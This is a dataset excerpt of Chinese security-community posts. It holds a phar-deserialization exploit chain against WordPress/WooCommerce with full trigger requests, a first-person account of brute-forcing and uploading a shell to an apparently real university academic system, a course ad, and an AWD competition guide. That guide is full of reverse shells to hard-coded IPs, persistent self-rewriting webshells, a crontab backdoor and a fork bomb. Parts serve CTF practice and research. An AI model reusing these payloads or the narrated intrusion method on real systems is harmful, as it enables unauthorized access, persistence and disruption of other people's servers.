text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：seaii@知道创宇404实验室
时间：2018/08/23**
**英文版本：<https://paper.seebug.org/988/>**
### 0x01 前言
通常我们在利用反序列化漏洞的时候，只能将序列化后的字符串传入unserialize()，随着代码安全性越来越高，利用难度也越来越大。但在不久前的Black
Hat上，安全研究员`Sam Thomas`分享了议题`It’s a PHP unserialization vulnerability Jim, but
not as we know it`，利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展了php反序列化漏洞的攻击面。该方法在
**文件系统函数** （file_exists()、is_dir()等）参数可控的情况下，配合 **phar://伪协议**
，可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”，下面我们就来了解一下这种攻击手法。
### 0x02 原理分析
#### 2.1 phar文件结构
在了解攻击手法之前我们要先看一下phar的文件结构，通过查阅手册可知一个phar文件有四部分构成：
##### 1\. a **stub**
可以理解为一个标志，格式为`xxx<?php xxx;
__HALT_COMPILER();?>`，前面内容不限，但必须以`__HALT_COMPILER();?>`来结尾，否则phar扩展将无法识别这个文件为phar文件。
##### 2\. a **manifest** describing the contents
phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以 **序列化** 的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。
##### 3\. the file **contents**
被压缩文件的内容。
##### 4\. [optional] a **signature** for verifying Phar integrity (phar file
format only)
签名，放在文件末尾，格式如下：
#### 2.2 demo测试
根据文件结构我们来自己构建一个phar文件，php内置了一个Phar类来处理相关操作。
注意：要将php.ini中的`phar.readonly`选项设置为`Off`，否则无法生成phar文件。
`phar_gen.php`
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可以明显的看到meta-data是以序列化的形式存储的：
有序列化数据必然会有反序列化操作，php一大部分的[文件系统函数](http://php.net/manual/en/ref.filesystem.php)在通过`phar://`伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：
来看一下php底层代码是如何处理的：
`php-src/ext/phar/phar.c`
通过一个小demo来证明一下：
`phar_test1.php`
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
其他函数当然也是可行的：
`phar_test2.php`
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
//......
?>
当文件系统函数的参数可控时，我们可以在不调用unserialize()的情况下进行反序列化操作，一些之前看起来“人畜无害”的函数也变得“暗藏杀机”，极大的拓展了攻击面。
#### 2.3 将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到，php识别phar文件是通过其文件头的stub，更确切一点来说是`__HALT_COMPILER();?>`这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
采用这种方法可以绕过很大一部分上传检测。
### 0x03 实际利用
#### 3.1 利用条件
任何漏洞或攻击手法不能实际利用，都是纸上谈兵。在利用之前，先来看一下这种攻击的利用条件。
1. phar文件要能够上传到服务器端。
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控，且`:`、`/`、`phar`等特殊字符没有被过滤。
#### 3.2 wordpress
wordpress是网络上最广泛使用的cms，这个漏洞在2017年2月份就报告给了官方，但至今仍未修补。之前的任意文件删除漏洞也是出现在这部分代码中，同样没有修补。根据利用条件，我们先要构造phar文件。
首先寻找能够执行任意代码的类方法：
`wp-includes/Requests/Utility/FilteredIterator.php`
class Requests_Utility_FilteredIterator extends ArrayIterator {
/**
* Callback to run as a filter
*
* @var callable
*/
protected $callback;
...
public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
这个类继承了`ArrayIterator`，每当这个类实例化的对象进入`foreach`被遍历的时候，`current()`方法就会被调用。下一步要寻找一个内部使用`foreach`的析构方法，很遗憾wordpress的核心代码中并没有合适的类，只能从插件入手。这里在
**WooCommerce** 插件中找到一个能够利用的类：
`wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php`
class WC_Log_Handler_File extends WC_Log_Handler {
protected $handles = array();
/*......*/
public function __destruct() {
foreach ( $this->handles as $handle ) {
if ( is_resource( $handle ) ) {
fclose( $handle ); // @codingStandardsIgnoreLine.
}
}
}
/*......*/
}
到这里pop链就构造完成了，据此构建phar文件：
<?php
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}
class WC_Log_Handler_File {
protected $handles;
public function __construct() {
$this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头，伪造文件类型
$o = new WC_Log_Handler_File();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将后缀名改为gif后，可以在后台上传，也可以通过xmlrpc接口上传，都需要author及以上的权限。记下上传后的 **文件名** 和
**post_ID** 。
接下来我们要找到一个参数可控的文件系统函数：
`wp-includes/post.php`
function wp_get_attachment_thumb_file( $post_id = 0 ) {
$post_id = (int) $post_id;
if ( !$post = get_post( $post_id ) )
return false;
if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
return false;
$file = get_attached_file( $post->ID );
if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
/**
* Filters the attachment thumbnail file path.
*
* @since 2.1.0
*
* @param string $thumbfile File path to the attachment thumbnail.
* @param int $post_id Attachment ID.
*/
return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
}
return false;
}
该函数可以通过XMLRPC调用"wp.getMediaItem"这个方法来访问到，变量`$thumbfile`传入了`file_exists()`，正是我们需要的函数，现在我们需要回溯一下`$thumbfile`变量，看其是否可控。
根据`$thumbfile = str_replace(basename($file), $imagedata['thumb'],
$file)`，如果`basename($file)`与`$file`相同的话，那么`$thumbfile`的值就是`$imagedata['thumb']`的值。先来看`$file`是如何获取到的：
`wp-includes/post.php`
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
// If the file is relative, prepend upload dir.
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
/**
* Filters the attached file based on the given ID.
*
* @since 2.1.0
*
* @param string $file Path to attached file.
* @param int $attachment_id Attachment ID.
*/
return apply_filters( 'get_attached_file', $file, $attachment_id );
}
如果`$file`是类似于windows盘符的路径`Z:\Z`，正则匹配就会失败，`$file`就不会拼接其他东西，此时就可以保证`basename($file)`与`$file`相同。
可以通过发送如下数据包来调用设置`$file`的值：
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp- admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z
同样可以通过发送如下数据包来设置`$imagedata['thumb']`的值：
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close
_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp- admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt
`_wpnonce`可在修改页面中获取。
最后通过XMLRPC调用"wp.getMediaItem"这个方法来调用`wp_get_attachment_thumb_file()`函数来触发反序列化。xml调用数据包如下：
POST /wordpress/xmlrpc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 529
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>wp.getMediaItem</methodName>
<params>
<param>
<value>
<string>1</string>
</value>
</param>
<param>
<value>
<string>author</string>
</value>
</param>
<param>
<value>
<string>you_password</string>
</value>
</param>
<param>
<value>
<int>11</int>
</value>
</param>
</params>
</methodCall>
### 0x04 防御
1. 在文件系统函数的参数可控时，对参数进行严格的过滤。
2. 严格检查上传文件的内容，而不是只检查文件头。
3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。
### 0x05 参考链接
1. <https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf>
2. <http://php.net/manual/en/intro.phar.php>
3. <http://php.net/manual/en/phar.fileformat.ingredients.php>
4. <http://php.net/manual/en/phar.fileformat.signature.php>
5. <https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf>
* * * | 社区文章 |
目标是某高校的一个教务系统，
青果的，网上找了找了漏洞，无果。
在前期，信息搜集的时候发现开放了8000端口
访问看看
这熟悉的报错界面 ，该死的甜美，本着某蟑螂(小强)的精神，我fuzz了目录，发现存在一个doc目录
没有验证码，仿佛就是告诉你快来淦(爆破)我啊一样
掏出burp，爆破，运气还不错。一发入魂（跑出来admin账户）
但是 进来后发现，这xx管理员的功能少的可怜，连个上传点都没有，注入点也没有
后来想了想，既然是教学系统那教师肯定有上传点，因为需要判卷，上传课题，汇报工作等等啥的
有教师用户随便登录一个
结果就是不出所料的确实有上传点
在模板管理处有上传点
上传测试的时候发现是白名单，但是他除了文件名的时候并不会改名字，最后配合iis6解析漏洞拿下此系统
文末（一路上几乎没有什么技术上的坑算是一篇水文，求表哥们看一下就好，轻喷） | 社区文章 |
# 【免费领】近两期红队攻击录播视频学习资料
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
“NIO与远控”和”内网穿透”这两节红队攻击,需要观看录播视频和PPT等资料的同学可以来领取了~
红队攻击公开课-NIO与远控：
[https://www.bilibili.com/video/BV1BB4y1S7yz?spm_id_from=333.999.0.0&vd_source=af2478efeb665725cff4e232b5f69114](https://www.bilibili.com/video/BV1BB4y1S7yz?spm_id_from=333.999.0.0&vd_source=af2478efeb665725cff4e232b5f69114)
红队攻击公开课-内网穿透：
[https://www.bilibili.com/video/BV1QS4y1e7oM?spm_id_from=333.999.0.0&vd_source=af2478efeb665725cff4e232b5f69114](https://www.bilibili.com/video/BV1QS4y1e7oM?spm_id_from=333.999.0.0&vd_source=af2478efeb665725cff4e232b5f69114)
扫描客服微信:ms08076 回复关键词 “红队攻击公开课”获取课程学习资料 | 社区文章 |
# 国赛分区赛awd赛后总结-安心做awd混子
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近参加了国赛分区赛，我所在的分区正好是awd赛制，所以总结了下关于awd的基操，方便新手入门
简单来说就是三步
1. 登录平台，查看规则，探索flag提交方式，比赛开始前有时间的话使用nmap或者httpscan等工具扫一下IP段，整理各队的IP（靶机的IP应该是比赛开始后才会给出）
2. 登录ssh->dump源码->D盾去后门->一人写批量脚本，一个人去修->部署waf，流量监控
3. 控制npc->加固npc（拿到别人的靶机也是一样），紧盯流量
下面来详细介绍具体流程
## 一般流程
### 1.登录比赛平台，查看比赛信息
这此国赛主办方没有ssh密码，而是提供rsa公私钥，使用ssh-key方式进行登录
连接方法和密码方式相似，只不过是选择密钥而不用输入密码
如果主办方平台给的密码较为简单存在弱口令或者可能被爆破成功的机会，尽快修改密码，密码主要是三个方面
* linux修改ssh即本地密码passwd
* 修改后台登录密码mysql -u root -pshow databases；use test;show tables;
select * from admin;
updata admin set user pass=’123456’; //updata 表名 set 字段名 = ‘值’;
flush privileges;
* 修改mysql登录密码方法一：mysql>set password for root[@localhost](https://github.com/localhost "@localhost") =password(‘ocean888’);config.php文件中是有数据库的连接信息，执行完上条命令后 **更改** 此文件方法二：
mysqladmin -uroot -p 123456 password 123
root=用户名； 123456=旧密码； 123=新密码；
### 2.dump源码
使用ssh工具保留源码，复制两份，用d盾去扫一份
注意：如果使用tar命令打包文件夹，.index.php（隐藏类型文件）将不会被打包
或者使用scp命令，后续会详细介绍使用方法
#### 数据库操作
**数据库备份**
登录数据库，命令备份数据库
* mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
* cd /var/lib/mysqlmysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份
* mysqldump —all-databases > 1.sql //备份所有数据库
**数据库还原**
* mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
* cd /var/lib/mysqlmysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
### 3.站点防御部署
#### check：
1. 查看是否留有后门账户
2. 关注是否运行了“特殊”进程
3. 是否使用命令匹配一句话
4. 关闭不必要端口，如远程登陆端口，木马端口
#### action：
1. d盾扫描删除预留后门文件，代码审计工具审计
2. 流量监控脚本部署
3. WAF脚本部署 **挂waf：**
* 每个文件前边加 require_once(waf.php);
* 改 .user.ini配置文件 auto_prepend_file=<filename>; 包含在文件头auto_append_file=<filename>; 包含在文件尾
注：如果挂了waf出现持续扣分，waf去掉
4. 文件监控脚本部署 **注意：** 现上好waf再上文件监控靶机没有python的话要先安python（视情况而定）
### 4.利用漏洞进行得分
利用漏洞进行既包括自己去审计挖掘漏洞，也包括看流量分析出其他师傅发现的漏洞的复现
### 5.编写脚本批量拿分
1. 通过预留后门批量拿分
2. 批量修改ssh账号密码
3. 通过脚本批量获取flag
4. 脚本批量提交flag
以上就是简单来说awd开局需要做的5件事，一下从攻击和防御两个方面来具体介绍awd玩法
## 攻击
### 服务发现
使用nmap对c段或端口进行扫描（看主办方给的靶机情况而定）
#### nmap
* 知道IP地址扫端口
.\nmap 10.241.180.159 -p1-65535
* 扫C段
.\nmap 10.241.180.159/24
* 根据ip列表扫，有一个ip地址列表，将这个保存为一个txt文件，和namp在同一目录下,扫描这个txt内的所有主机
nmap -iL ip.txt
nmap扫描完毕后，win按住alt键
只提取端口
### 漏洞利用
awd中存在较多的主要是以下几种漏洞
* 命令执行，直接cat /flag，尽量混淆流量也可以通过命令执行执行上传一句话木马，直接用py脚本批量传，美哉
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>.index.php
# <?php eval($_REQUEST['1']); ?>
* 文件读取，直接读取或者是伪协议方式读取flag
* sql注入，数据库中有flag，或者sql注入写shell
* 文件上传，绕过黑白名单上传一句话，小马拉大马或者不死马
* awd时间一般较短，所以漏洞不会太深，比较容易发现，有的会直接放几个明显的后门，考验选手们的手速
### 权限维持
#### 过盾一句话
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>
可以改造成header返回的马，可以把这个一句话木马放到index.php中，直接访问index.php，从header中拿到flag，既不容易被发现马，又不容易被其他队利用
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>
$a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);
#### 不死马
* php file_put_contents写入不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iNTAxNjBjMmVjNGY0MGQ3M2Y5MDYxZjg5NjcxMjExNTciKXtAZXZhbCgkX1BPU1RbImNtZCJdKTt9ID8+Jyk7ICAKICAgICAgICBzbGVlcCgwKTsgIAogICAgfQo/Pg=='));
get：[email protected]
post：cmd=system(“ls”);
* linux命令不死马
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
* 普通php不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="b1d2442581854c7e769e8ad870b50acd"){@eval($_REQUEST[a]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5);
}
?>
#密码 [email protected]
#文件名 .index.php .DS_story
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
//file_put_contents(__FILE__,'');
while(1){
file_put_contents('path/webshell.php','<?php @eval($_POST["password"]);?>');
}
?>
密码复杂，生成文件隐藏 .DS_store(原 .DS_Store)
* #### crontab写马
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==\'50160c2ec4f40d73f9061f8967121157\'){@eval(\\\\\\\\\$_POST[1]);} \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
密码：[email protected]
`crontab -u www-data CRON_FILE` 来指定用户运行指定的定时任务
也可以使用cromtab直接在对方靶机上提交flag，隐蔽且狗
推荐：nu1l的ctfer从0到1，里面介绍了一些隐蔽的手段
#### bash反弹shell
nc反弹shell
bash -i >& /dev/tcp/10.243.32.32/9 0>&1
本地 nc -l -p 8080
可以切换到bash命令去执行，但是使用bash命令会生成bash_history
#### python反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
#### php反弹shell
php -r '$sock=fsockopen("10.243.32.53",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
此条命令将会返回一个和靶机相同的用户权限，使用php脚本反弹shell一般是www-data权限
建议连着kill两次
#### java反弹shell
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
保存为Revs.java文件，编译执行，成功反弹shell。
javac Revs.java
java Revs
#### 清除bash_history
使用bash命令，会在root目录生成名为~/.bash_history的历史记录文件，建议清除记录，隐藏行踪
### 批量脚本
#### 批量交flag
有的比赛会提前说提交flag的方法，这样我们就可以提前写好脚本，找到漏洞小改一下就能用了
假设有文件读取的话，就可以批量获取并提交flag
import requests
def getFlag(ip, port, dir)
fullUrl = "http://" + ip + ":" + port + url
res = requests.get(url = fullUrl)
return res.text
def subFlag(r_time, ip, port, dir, token):
#Set submit flag url
f_url = 'http://10.10.10.10/api/v1/att_def/web/submit_flag/?event_id=21'
#Set token
while True:
for q in ip:
# q是单个ip，port是端口，shell为初始后门的地址，passwd为初始后门的密码
flag_tmp = get_flag(ip, port, dir)
s_f_pay = {
'flag':flag_tmp,
'token':token
}
# r = requests.post(url,headers=headers,data = json.dumps(data))
r = requests.post(f_url, data = s_f_pay)
print(r.text)
time.sleep(r_time * 60)
if __name__ == '__main__' :
# 这个可以看请况写个循环，遍历出所有ip
subFlag(10, 172.35.19.11, 80, "/statics/1.php?file=../../../../../../flag", "FUPDSjgifpoejsiJIFPjipojfdsa")
#### brup插件
使用burp提供的burp-requests插件更快的写出poc，安装方法可以百度下，和其他的插件安装方法一致
当找到漏洞利用方法时，可以抓取流量，burp界面空白处右击，选择copy as requests
直接复制到python脚本里就可以
效果如下
#### Aoiawd批量
Aoiawd是安恒实验室研发的一款awd神器，后面单独部分介绍
使用Aoiawd的流量监测功能，一键生成poc，批量拿flag
#### 搅屎
fork炸弹
# 参考: https://linux.cn/article-5685-1-rss.html
:(){:|:&};:
## 防御
防御主要包括三个监控：
文件监控
流量监控
端口监控
### 实用命令
* 查找可能的password
cd /var/www/html
find .|xargs grep "password"
* 查找后门
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
* 查找flag的位置
使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方，方便后续拿分
* 备份网站源码和数据库
1. mobaxterm直接拖
备份数据库在dump源码部分有
1. linux命令进行备份
scp -r -P Port remote_username[@remote_ip](https://github.com/remote_ip "@remote_ip"):remote_folder local_file
* 检查有没有多余无用端口对外开放
netstat -anptl
### 部署waf
waf部署需要谨慎，分为两种情况：无check机制、部分检查不允许上通防waf，有些比赛上通防可能会扣掉很多分实在不划算
还需要注意的是：上完waf检查服务是否可用
#### 无check机制
估计无check机制的比赛也没啥可玩性了，推荐watch
bird和aoiawd，直接防护全开，替换flag，流量转发完事儿，或者有的连页面都不check的直接删站看他咋拿flag
#### 部分检查
部分检查允许使用部分小的waf，会检查页面完整性、服务完整性
直接github找一些waf即可，一下介绍一些waf部署方法
**有root权限**
1.
#每个文件前边加 require_once(waf.php);
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('./log.php');n/g"
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waf.php\");/g"
上waf：
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/g"
下waf：
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/<?php/g"
2.
vim php.ini
auto_append_file = "/dir/path/phpwaf.php"
重启Apache或者php-fpm就能生效了。
3.
改 .user.ini配置文件 auto_prepend_file=<filename>; 包含在文件头
auto_append_file=<filename>; 包含在文件尾
php_value auto_prepend_file "/dir/path/phpwaf.php"
注：如果挂了waf出现持续扣分，waf去掉
**只有user权限**
没写系统权限就只能在代码上面下手了，也就是文件包含。
这钟情况又可以用不同的方式包含。
1.
如果是框架型应用，那麽就可以添加在入口文件，例如index.php，
如果不是框架应用，可以在公共配置文件config.php等相关文件中包含。
include('phpwaf.php');
2.
替换index.php，也就是将index.php改名为index2.php，然后讲phpwaf.php改成index.php。
当然还没完，还要在原phpwaf.php中包含原来的index.php
index.php -> index2.php
phpwaf.php ->index.php
include('index2.php');
* 修改权限mysqll用户读表权限上传目录是否可执行的权限
* 部署文件监控脚本php.ini
auto_prepend_file = waf.php的路径;
require_once('waf.php');
常用cms添加waf位置
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
#### 完全检查
完全检查大多出现在awd pwn中，比如不允许对漏洞函数进行修改
### 克制不死马
1. 强行kill掉进程后重启服务（不建议）
ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
2. 建立一个和不死马相同名字的文件或者目录，sleep短于不死马
3. 写脚本不断删除
### 干掉反弹shell
ps -ef / px -aux
出现www-data权限的/bin/sh一般为nc
如果有一些进程杀不掉可以尝试www-data权限去杀
kill.php
<?php
system("kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`");
?>
从浏览器访问，就是www-data权限
建议连着kill两次
### 改密码
如果有弱口令，拿到密码后先更改，然后用默认密码去批量登录其他的主机
#### ssh密码
ssh密码就是本机密码
passwd命令改密码
#### phpmyadmin
phpmyadmin的密码就是数据库的密码，直接改mysql密码
更改密码直接点执行就行，不要点生成（会随机生成新的密码）
#### mysql
修改mysql登录密码
方法一：
mysql>set password for root[@localhost](https://github.com/localhost
"@localhost") =password(‘ocean888’);
config.php文件中是有数据库的连接信息，执行完上条命令后 **更改** 此文件
方法二：
mysqladmin -uroot -p 123456 password 123
root=用户名； 123456=旧密码； 123=新密码；
#### 后台密码
修改后台登录密码
mysql -u root -p
show databases；
use test;
show tables;
select * from admin;
updata admin set user pass=’123456’; //updata 表名 set 字段名 = ‘值’;
flush privileges;
### 文件监控
#### 本地有python环境
如果有python环境，py文件监控脚本一搜一大堆。。。
贴一个这个师傅写的：<https://www.shuzhiduo.com/A/GBJrKlDG50/>
#### 本地没有python环境
可以使用ssh远程去连接靶机进行监控
* vscode‐>ssh插件或者是phpstorm，实时在线编辑
监听还原脚本‐>5分钟还原一次
使用本地py环境运行，需要更改sshIP及端口
# -*- encoding: utf-8 -*- '''
监听还原脚本‐>5分钟还原一次
@File : awd.py
@Time : 2020/08/09 20:44:54
@Author : iloveflag
@Version : 1.0
@Contact : [email protected]
@Desc : The Win32 port can only create tar archives,
but cannot pipe its output to other programs such as gzip or compress,
and will not create tar.gz archives; you will have to use or simulate a batch pipe.
BsdTar does have the ability to direcly create and manipulate .tar, .tar.gz, tar.bz2, .zip,
.gz and .bz2 archives, understands the most-used options of GNU Tar, and is also much faster;
for most purposes it is to be preferred to GNU Tar.
'''
import paramiko
import os
import time
def web_server_command(command,transport): #对服务器执行命令
ssh = paramiko.SSHClient()
ssh._transport = transport
stdin, stdout, stderr = ssh.exec_command(command)
# print(stdout.read())
def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作
try:
transport = paramiko.Transport(ip, int(port))
transport.connect(username=user, password=passwd)
sftp = paramiko.SFTP.from_transport(transport)
remote_path='/var/www/html/'
remote_file = 'html.tar'
local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'
web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)
if not(os.path.exists(local_path)):
os.makedirs(local_path)
if action == 'get':
sftp.get(remote_path+remote_file,local_path+remote_file)
web_server_command('rm -rf '+remote_path+remote_file,transport)
print('服务器源码保存在'+local_path)
print('正在解压:')
os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)
print('文件解压完成')
else:
web_server_command('rm -rf '+remote_path+'*',transport)
print('清理服务器web目录')
os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')
sftp.put(local_path+remote_file, remote_path+remote_file)
print('上传成功')
web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)
print('还原完毕')
print('-----------------------------')
sftp.close()
except:
pass
print('download or upload error')
def web_server_mysql_action():
#web_server_mysql_action
pass
def web_server_status():
#web_server_status
pass
if __name__ == '__main__':
web1_server_ip='10.241.180.159'
web1_server_port='30021'
web1_server_user='ctf'
web1_server_passwd='123456'
while(1):
for i in range(5,0,-1):
time.sleep(1)
print('倒计时'+str(i)+'秒')
web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')
#### scp命令
scp -P 30022 -r -q web [email protected]:/var/www/html
# 按照提示输入密码即可
scp [可选参数] file_source file_target
-P 指定传输到服务器的端口，默认为22
-r 递归传输整个web文件夹
-q 不显示传输进度条
### 常用linux命令
ssh <-p 端口> 用户名@IP
scp 文件路径 用户名@IP:存放路径
tar -zcvf web.tar.gz /var/www/html/
w
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
